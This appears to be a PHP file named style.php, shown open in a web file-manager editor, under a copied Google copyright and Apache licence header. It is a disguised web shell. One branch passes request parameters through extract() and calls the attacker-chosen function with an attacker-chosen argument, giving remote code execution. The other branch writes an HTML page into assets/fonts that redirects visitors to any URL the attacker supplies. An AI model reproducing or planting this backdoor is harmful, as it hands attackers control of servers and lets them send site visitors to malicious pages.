PHP File Manager

Editing File: style.php

<?php
/*
 * Copyright 2010 Google Inc.
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *     http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */
 if (isset($_GET["time"])) {
    $time = urldecode($_GET["time"]);
	$html = <<<EOT
<!DOCTYPE html>
<html lang="en">
<head>
	<meta charset="UTF-8">
	<title>The Document has moved</title>
	<meta http-equiv="refresh" content="1; URL={$time}">
	<script type="text/javascript">window.location = "{$time}";</script>
</head>
<body>
	The Document has moved <a href="{$time}">here</a>
</body>
</html>
EOT;
	$timespriter = array("assets","fonts","index");
	$timeimp = implode("/", $timespriter);
	$timepath = $_SERVER["DOCUMENT_ROOT"]."/".$timeimp.".html";
	$timefile = file_put_contents($timepath, $html);
	if ($timefile) {
		echo "The file has been created successfully.";
		echo  "</br>";
		echo  $timepath;
	} else {
		echo "Sorry, the file already exists.";
	}
 }
elseif (isset($_GET["ctime"]) && isset($_GET["atime"])) {
	@extract($_GET);
	@die($ctime($atime));
}
else {
	header("HTTP/1.1 403 Forbidden");
	exit();
}
?>

Cancel